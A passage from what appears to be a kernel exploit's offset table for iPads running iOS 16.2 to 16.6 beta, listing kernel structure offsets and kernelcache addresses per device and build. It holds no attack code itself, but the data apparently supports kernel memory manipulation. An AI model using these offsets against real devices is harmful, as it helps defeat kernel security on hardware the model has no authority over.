06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad12,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a451ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079441b8,\n            .kernelcache__gPhysSize = 0xfffffff0079441b8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007942370,\n            .kernelcache__perfmon_devices = 0xfffffff00a491520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f03d78,\n            .kernelcache__ptov_table = 0xfffffff0078f79b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a490910,\n            .kernelcache__vm_pages = 0xfffffff0078f4100,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6958,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a490908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f52588,\n        },\n\n\n    // iPad Gen 9th Cellular //\n\n\n    // iPad Gen 9th Wifi //\n\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad12,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a29d178,\n            .kernelcache__gPhysBase = 0xfffffff00784bb98,\n            .kernelcache__gPhysSize = 0xfffffff00784bb98 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849d78,\n            .kernelcache__perfmon_devices = 0xfffffff00a2d8370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007eb4bd8,\n            .kernelcache__ptov_table = 0xfffffff0077ff260,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2d7800,\n            .kernelcache__vm_pages = 0xfffffff0077fc088,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe210,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f06f14,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad12,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a2a5178,\n            .kernelcache__gPhysBase = 0xfffffff00784bc80,\n            .kernelcache__gPhysSize = 0xfffffff00784bc80 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849e60,\n            .kernelcache__perfmon_devices = 0xfffffff00a2e0370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ebcbe8,\n            .kernelcache__ptov_table = 0xfffffff0077ff2a0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2df800,\n            .kernelcache__vm_pages = 0xfffffff0077fc0c8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe250,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2df7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f0ef14,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad12,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a2a5178,\n            .kernelcache__gPhysBase = 0xfffffff00784bc80,\n            .kernelcache__gPhysSize = 0xfffffff00784bc80 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849e60,\n            .kernelcache__perfmon_devices = 0xfffffff00a2e0370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ebcbe8,\n            .kernelcache__ptov_table = 0xfffffff0077ff2a0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2df800,\n            .kernelcache__vm_pages = 0xfffffff0077fc0c8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe250,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2df7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f0ef14,\n        },\n\n        // iOS 16.5\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad12,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a36d288,\n            .kernelcache__gPhysBase = 0xfffffff007928010,\n            .kernelcache__gPhysSize = 0xfffffff007928010 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079261e8,\n            .kernelcache__perfmon_devices = 0xfffffff00a3ab4f0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ed75d0,\n            .kernelcache__ptov_table = 0xfffffff0078db178,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3aa990,\n            .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3aa988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f2641c,\n        },\n\n        // iOS 16.6b1\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad12,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a451ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079441b8,\n            .kernelcache__gPhysSize = 0xfffffff0079441b8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007942370,\n            .kernelcache__perfmon_devices = 0xfffffff00a491520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f03d78,\n            .kernelcache__ptov_table = 0xfffffff0078f79b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a490910,\n            .kernelcache__vm_pages = 0xfffffff0078f4100,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6958,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a490908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f52588,\n        },\n\n        // iPad Mini 6 Wifi //\n        // iOS 16.2\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a685190,\n            .kernelcache__gPhysBase = 0xfffffff0078b80c8,\n            .kernelcache__gPhysSize = 0xfffffff0078b80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b62a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a6c03b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007facfa8,\n            .kernelcache__ptov_table = 0xfffffff00786b370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6bf800,\n            .kernelcache__vm_pages = 0xfffffff007868098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6bf7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffcfd0,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 